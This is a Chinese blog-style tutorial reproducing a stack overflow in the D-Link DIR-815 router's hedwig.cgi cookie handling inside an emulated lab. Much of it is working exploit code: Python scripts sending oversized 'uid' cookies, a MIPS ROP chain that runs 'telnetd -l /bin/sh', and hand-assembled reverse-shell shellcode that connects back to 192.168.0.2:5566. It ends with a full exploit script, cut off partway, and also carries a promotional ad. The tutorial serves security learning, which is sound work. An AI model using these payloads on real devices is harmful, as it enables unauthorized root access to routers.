踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现

前言

在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。

固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/

这个漏洞属于经典范畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。

根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出问题。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,如果使用973作为偏移量,则调试无法成功连接,但不进行调试则可以成功连接。然而,如果使用1007作为偏移量,则调试可以成功连接,但不进行调试则无法成功连接。这种情况可能与仿真环境相关,欢迎大家积极尝试并探索。

工具安装

我的环境是

Ubuntu 22.04.4 LTS x86_64
Binwalk

我们要安装这个工具用来给FirmAE调用:

git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python setup.py install
firmware-mod-kit

首先安装依赖:

sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic

然后进行安装:

git clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure && make

可以进入https://github.com/mirror/firmware-mod-kit查看详细使用方法,本文不赘述。

FirmAE

我们需要安装FirmAE,和相关依赖进行固件仿真:

git clone --recursive https://github.com/pr0v3rbs/FirmAE
sudo pip3 install selenium

接着进入FirmAE目录运行:

./download.sh
./install.sh
./init.sh

随后,使用如下命令尝试是否能够仿真:

sudo ./run.sh -c <brand> <firmware>

我们这篇文章的brandd-link。如果成功仿真,使用如下命令进入仿真调试模式:

sudo ./run.sh -d <brand> <firmware>

注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的:

echo "0" >> /proc/sys/kernel/randomize_va_space

基础知识

溢出漏洞

溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出问题。这些漏洞可以让攻击者执行恶意代码,进而对路由器进行攻击和控制。

它可以使得黑客控制程序执行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者成功控制了它,就能为所欲为了。

那么,如何利用栈溢出漏洞来控制程序执行呢?有两个常见的方法:shellcode和ROPchain。

首先,我们来说说shellcode。Shellcode是一段精心编写的机器码,通常用于执行特定的操作,比如获取系统特权或者执行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序执行,从而执行这段恶意代码。

另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技术。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如执行系统调用或者跳转到其他函数。

所以,栈溢出漏洞非常危险,给了攻击者很大的控制力!要特别注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时刻确保输入数据不会超出预期的范围,这样就能有效地防止栈溢出漏洞的利用。

HTTP协议

HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

请求行

HTTP请求的第一行是请求行,它由三部分组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下:

Method Request-URI HTTP-Version CRLF

例如:

POST /registez.aspx HTTP/1.1 (CRLE) 
消息报头

请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息。例如:

Accept:image/gif

表示请求GIF图像格式的资源。

一个完整的请求消息报头可能包含多个键值对,像这样:

GET /index.html HTTP/1.1 (CRLF) 
Accept:image/gif, image/x-xbitmap,*/* (CRLF) 
Accept-Language:zh-cn (CRLF) 
Accept-Encoding:gzip, deflate (CRLF) 
User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) 
Host:www.baidu.com (CRLF) 
Connection:Keep-Alive (CRLF) 
(CRLF)
请求正文

请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。例如:

Usernarme=admin&password=admin

实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。

我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。

成因分析

  • Cookie来自char *getenv("HTTP_COOKIE")
  • cgibin链接到其他的cgi的时候,此时cgibin里除了main,还会有别的cgi文件的main。

如本固件的hedwigcgi_main。

根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比较,分析得出COOKIE的数据组织形式是uid=payload

int __fastcall sess_get_uid(int a1)
{
  int v2; // $s2
  char *v3; // $v0
  int v4; // $s3
  char *v5; // $s4
  int v6; // $s1
  int v7; // $s0
  char *string; // $v0
  int result; // $v0

  v2 = sobj_new();
  v4 = sobj_new();
  v3 = getenv("HTTP_COOKIE");
  if ( !v2 )
    goto LABEL_27;
  if ( !v4 )
    goto LABEL_27;
  v5 = v3;
  if ( !v3 )
    goto LABEL_27;
  v6 = 0;
  while ( 1 )
  {
    v7 = *v5;
    if ( !*v5 )
      break;
    if ( v6 == 1 )
      goto LABEL_11;
    if ( v6 < 2 )
    {
      if ( v7 == ' ' )
        goto LABEL_18;
      sobj_free(v2);
      sobj_free(v4);
LABEL_11:
      if ( v7 == 59 )
      {
        v6 = 0;
      }
      else
      {
        v6 = 2;
        if ( v7 != 61 )
        {
          sobj_add_char(v2, v7);
          v6 = 1;
        }
      }
      goto LABEL_18;
    }
    if ( v6 == 2 )
    {
      if ( v7 == 59 )
      {
        v6 = 3;
        goto LABEL_18;
      }
      sobj_add_char(v4, *v5++);
    }
    else
    {
      v6 = 0;
      if ( !sobj_strcmp(v2, "uid") )
        goto LABEL_21;
LABEL_18:
      ++v5;
    }
  }
  if ( !sobj_strcmp(v2, "uid") )
  {
LABEL_21:
    string = sobj_get_string(v4);
    goto LABEL_22;
  }
LABEL_27:
  string = getenv("REMOTE_ADDR");
LABEL_22:
  result = sobj_add_string(a1, string);
  if ( v2 )
    result = sobj_del(v2);
  if ( v4 )
    return sobj_del(v4);
  return result;
}
  • 如果FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。

  • FirmAE如果出现文件依然存在的情况,使用如下方案:

sudo ip link set ${TAPDEV_0}
sudo tunctl -d ${TAPDEV_0}

将其停止,可以重新启动仿真。

调试方法

仿真成功后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号:

------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # ps  | grep "httpd"
 2387 root      1564 S    httpd -f /var/run/httpd.conf
 8421 root       656 S    grep httpd
/ # Connection closed by foreign host.

随后输入进程号(此处是2387)启用gdb-server:

------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 4
 641 root      1684 S    /firmadyne/sh /firmadyne/network.sh
  643 root      1676 S    /firmadyne/sh /firmadyne/debug.sh
  647 root      1680 S    /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh
  648 root      1668 S    /firmadyne/busybox sleep 36000
  649 root      1676 S    /firmadyne/sh
  779 root       892 S    portt -c DNAT.PORTT
 1300 root      1044 S    udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh
 1663 root       904 S    updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi
 1737 root       904 S    updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin
 2096 root       908 S    neaps -i br0 -c /var/run/neaps.conf
 2108 root       884 S    netbios -i br0 -r dlinkrouter
 2109 root       900 S    llmnresp -i br0 -r dlinkrouter
 2156 root      1068 S    udhcpd /var/servd/LAN-1-udhcpd.conf
 2351 root      1040 S    dnsmasq -C /var/servd/DNS.conf
 2387 root      1568 S    httpd -f /var/run/httpd.conf
11504 root      1668 S    /firmadyne/busybox sleep 5
11553 root       660 R    ps
  PID USER       VSZ STAT COMMAND
    1 root       656 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW<  [kworker/0:0H]
    6 root         0 SW   [kworker/u2:0]
    7 root         0 SW<  [khelper]
    8 root         0 SW   [khungtaskd]
    9 root         0 SW<  [writeback]
   10 root         0 SWN  [ksmd]
   11 root         0 SW<  [crypto]
   12 root         0 SW<  [bioset]
   13 root         0 SW<  [kblockd]
   14 root         0 SW<  [ata_sff]
   15 root         0 SW<  [cfg80211]
   16 root         0 SW   [kworker/0:1]
   17 root         0 SW   [kswapd0]
   18 root         0 SW   [fsnotify_mark]
   35 root         0 SW   [scsi_eh_0]
   36 root         0 SW<  [scsi_tmf_0]
   37 root         0 SW   [scsi_eh_1]
   38 root         0 SW<  [scsi_tmf_1]
   41 root         0 SW   [kworker/u2:3]
   44 root         0 SW<  [kpsmoused]
   45 root         0 SW<  [ipv6_addrconf]
   46 root         0 SW<  [defe
[+] target pid : 2387
[+] gdbserver at 192.168.0.1:1337 attach on 2387
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch

宿主机保存如下脚本准备使用:

set architecture mips
set follow-fork-mode child
set detach-on-fork off
b _start
#catch exec #这里去掉注释,就能够在对应的cgi文件停下
target remote 192.168.0.1:1337

假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试:

gdb-multiarch -x  gdb_script

POC编写

定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。

int hedwigcgi_main()
{
  char *v0; // $v0
  const char *v1; // $a1
  FILE *v2; // $s0
  int v3; // $fp
  int v4; // $s5
  int v5; // $v0
  char *string; // $v0
  FILE *v7; // $s2
  int v8; // $v0
  int v9; // $s7
  int v10; // $v0
  int *v11; // $s1
  int i; // $s3
  char *v13; // $v0
  const char **v14; // $s1
  int v15; // $s0
  char *v16; // $v0
  const char **v17; // $s1
  int v18; // $s0
  int v19; // $v0
  char *v20; // $v0
  char v22[20]; // [sp+18h] [-4A8h] BYREF
  char *v23; // [sp+2Ch] [-494h] BYREF
  char *v24; // [sp+30h] [-490h]
  int v25[3]; // [sp+34h] [-48Ch] BYREF
  char v26[128]; // [sp+40h] [-480h] BYREF
  char v27[1024]; // [sp+C0h] [-400h] BYREF

  memset(v27, 0, sizeof(v27));
  memset(v26, 0, sizeof(v26));
  strcpy(v22, "/runtime/session");
  v0 = getenv("REQUEST_METHOD");
  if ( !v0 )
  {
    v1 = "no REQUEST";
LABEL_7:
    v3 = 0;
    v4 = 0;
LABEL_34:
    v9 = -1;
    goto LABEL_25;
  }
  if ( strcasecmp(v0, "POST") )
  {
    v1 = "unsupported HTTP request";
    goto LABEL_7;
  }
  cgibin_parse_request(sub_409A6C, 0, 0x20000);
  v2 = fopen("/etc/config/image_sign", "r");
  if ( !fgets(v26, 128, v2) )
  {
    v1 = "unable to read signature!";
    goto LABEL_7;
  }
  fclose(v2);
  cgibin_reatwhite(v26);
  v4 = sobj_new();
  v5 = sobj_new();
  v3 = v5;
  if ( !v4 || !v5 )
  {
    v1 = "unable to allocate string object";
    goto LABEL_34;
  }
  sess_get_uid(v4);
  string = sobj_get_string(v4);
  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
  xmldbc_del(0, 0, v27);
  v7 = fopen("/var/tmp/temp.xml", "w");
  if ( !v7 )
  {
    v1 = "unable to open temp file.";
    goto LABEL_34;
  }
  if ( !haystack )
  {
    v1 = "no xml data.";
    goto LABEL_34;
  }
  v8 = fileno(v7);
  v9 = lockf(v8, 3, 0);
  if ( v9 < 0 )
  {
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
      0);
    v9 = 0;
    goto LABEL_26;
  }
  v10 = fileno(v7);
  lockf(v10, 1, 0);
  v23 = v26;
  v24 = 0;
  memset(v25, 0, sizeof(v25));
  v24 = strtok(v22, "/");
  v11 = v25;
  for ( i = 2; ; ++i )
  {
    v13 = strtok(0, "/");
    *v11++ = (int)v13;
    if ( !v13 )
      break;
  }
  (&v23)[i] = sobj_get_string(v4);
  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
  v14 = (const char **)&v23;
  v15 = 0;
  do
  {
    ++v15;
    fprintf(v7, "<%s>\n", *v14++);
  }
  while ( v15 < i + 1 );
  v16 = strstr(haystack, "<postxml>");
  fprintf(v7, "%s\n", v16);
  v17 = (const char **)&(&v23)[i];
  v18 = i + 1;
  do
  {
    --v18;
    fprintf(v7, "</%s>\n", *v17--);
  }
  while ( v18 > 0 );
  fflush(v7);
  xmldbc_read(0, 2, "/var/tmp/temp.xml");
  v19 = fileno(v7);
  lockf(v19, 0, 0);
  fclose(v7);
  remove("/var/tmp/temp.xml");
  v20 = sobj_get_string(v4);
  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
  xmldbc_ephp(0, 0, v27, stdout);
  if ( v9 )
  {
    v1 = 0;
LABEL_25:
    printf(
      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
      v1);
  }
LABEL_26:
  if ( haystack )
    free(haystack);
  if ( v3 )
    sobj_del(v3);
  if ( v4 )
    sobj_del(v4);
  return v9;
}

构造poc如下:

import http.client

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

# 设置请求头
headers = {
    'Content-Length': '21',
    'accept-Encoding': 'deflate',
    'Connection': 'close',
    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': 'uid='+'a'*0x500,
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)

# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

成功覆盖pc如下。

image-20240303205914156

EXP编写

ROPchain_system(cmd)

接下来编写exp。

cyclic可以这么使用:

>>> cyclic(0x100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
>>> cyclic_find("cjaa")
235
>>>

从而轻松找到偏移。

我们修改一下poc如下,设置了payload,用如上方法找到偏移:

import http.client
from evilblade import *

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

payload = cyclic(0x500).decode()

# 设置请求头
headers = {
    'Content-Length': '21',
    'accept-Encoding': 'deflate',
    'Connection': 'close',
    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': 'uid='+payload,
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)

# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

得到段错误如下。

image-20240303211012505

找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库)

>>> from evilblade import *
>>> cyclic_find("klaa")
1043
>>>

再次修改poc确认偏移,成功控制返回地址。修改如下:

import http.client
from evilblade import *

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址
payload = payload.decode()

# 设置请求头
headers = {
    'Content-Length': '21',
    'accept-Encoding': 'deflate',
    'Connection': 'close',
    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': 'uid='+payload,
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)

# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

结果如下,成功控制pc

image-20240303211725915

我们发现路由器里有telnetd服务,这样只要执行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。

我们看看MIPS的寄存器作用:

寄存器缩写含义
$0$zero常量0(constant value 0)
$1$at保留给汇编器(Reserved for assembler)
$2-$3 v 0 − v0- v0v1函数调用返回值(values for results and expression evaluation)
$4-$7 a 0 − a0- a0a3函数调用参数(arguments)
$8-$15 t 0 − t0- t0t7暂时的(或随便用的)
$16-$23 s 0 − s0- s0s7保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25 t 8 − t8- t8t9暂时的(或随便用的)
$28$gp全局指针(Global Pointer4)
$29$sp堆栈指针(Stack Pointer)
$30$fp帧指针(Frame Pointer)
$31$ra返回地址(return address)
ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp,"

用上述命令,找到下面的gadget:

0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5

这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。

我们再次使用cyclic确定偏移,得到:

*S0   0x6161636b ('kcaa')

也就是

>>> cyclic_find("kcaa")
1007

s0往后就是s1,s2以此类推。

不过我们遇到了一个新的问题,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。

这里我们要用到一个技巧:

由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。

也就是说,执行jalr的同时,下一个指令也会执行。

我们用这个指令:

ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0"

找到gadget:

0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1

他会在跳转到 s 5 的同时,将 s 0 + 1 , 也就是说我们传入偏移为 0 x 531 f f 即可,且 s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且 s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$t9不会受到任何影响!

于是我们构造了如下的情况:

首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。

image-20240306013658225

如图,成功。

附exp:

import http.client
from evilblade import *

set("./cgibin")

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"

#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))

sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"

payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': 'uid='+payload,
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()
shellcode

使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/

第一步:socket(2,1,0)

socket()系统调用中,参数的含义如下:

  • 第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。
  • 第二个参数:套接字的类型(type)。常见的套接字类型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。
  • 第三个参数:协议(protocol)。通常情况下,如果域和类型已经指定了,协议参数可以设为0,让操作系统自动选择合适的协议。在这里,值为0。

socket(2,2,0)的意思是创建一个IPv4的UDP套接字。

如下:

addiu  a0, zero, 2
addiu  a1, zero, 2
addiu  a3, zero, 0
addiu  v0, zero, 0x1057
syscall 0x40404

为了绕过\x00限制改为:

li  $a0, 0x222
addi $a0,-0x220
li  $a1, 0x222
addi $a1,-0x220
li  $a2, 0x222
addi $a2,-0x222
li  $v0, 0x1057
syscall 0x40404

得到:

"\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"

存入栈:

sw $v0,480($sp)

得到:

"\xe0\x01\xa2\xaf"

第二步:

dup2(socket_obj,0)
dup2(socket_obj,1)
dup2(socket_obj,2)

将标准输入输出错误流重定向到sock对象。

如下:

lw $a0,480($sp);           
li  $a1, 0x222
addi $a1,-0x222
li $v0,4063
syscall 0x40404
        
li  $a1, 0x222
addi $a1,-0x221
li $v0,4063
syscall 0x40404
        
li  $a1, 0x223
addi $a1,-0x221
li $v0,4063
syscall 0x40404

得到:

"\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"

第三步,执行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);

lw $a0,480($sp)
addiu $a2,$zero,0x111
addi $a2,-0x101

lui $t6,0xbe15
ori $t6,$t6,0x0203    
addi $t6, -0x0201
sw $t6,468($sp)
//这里是端口,可以自己更改

lui $t7,0x0302
ori   $t7, $t7, 0xa9c1
addi $t7, $t7, -0x01020101
//这里是ip地址,可以自己更改

sw $t7,472($sp)                     
la $a1,468($sp)              

addiu $v0,$zero,4170    
syscall 0x40404

此时是绑定在了192.168.0.2 5566,也就是攻击机器的地址。ip和端口涉及大端小端的问题,参考文章的时候是大端,我说怎么调了这么久都不对……

要构造为(这是192.168.0.2 5566)

0xbe150002	0x0200a8c0

得到:

"\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"

最后一步,执行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互:

lui     $t1, 0x6e69
ori     $t1, $t1, 0x622f
sw      $t1, -8($sp)
lui     $t9, 0xff97
ori     $t9, $t9, 0x8cd0
not     $t1, $t9
sw      $t1, -4($sp)
addiu   $sp, $sp, -8
add     $a0, $sp, $zero
lui     $t1, 0x6e69
ori     $t1, $t1, 0x622f
sw      $t1, -0xc($sp)
lui     $t9, 0xff97
ori     $t9, $t9, 0x8cd0
not     $t1, $t9
sw      $t1, -8($sp)
sw      $zero, -4($sp)
addiu   $sp, $sp, -0xc
slti    $a1, $zero, -1
sw      $a1, -4($sp)
addi    $sp, $sp, -4
addiu   $t9, $zero, -5
not     $a1, $t9
add     $a1, $sp, $a1
sw      $a1, -4($sp)
addi    $sp, $sp, -4
add     $a1, $sp, $zero
slti    $a2, $zero, -1
ori     $v0, $zero, 0xfab
syscall

得到:

"\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01"

监听:

nc -lvp 5566

发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm

利用以上shellcode,成功反弹shell:

image-20240306010551431

完整exp如下:

import http.client
from evilblade import *

set("./cgibin")

# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")

## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"

#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))

sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"

stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
#socket(2,1,0)
stg3_SC += "\xe0\x01\xa2\xaf"
#sw $v0,260($sp)
stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
#dup2
stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
#connect
stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"
#execve
# stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c"
#exit
print(stg3_SC.encode(),len(stg3_SC))
payload = cyclic(973).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
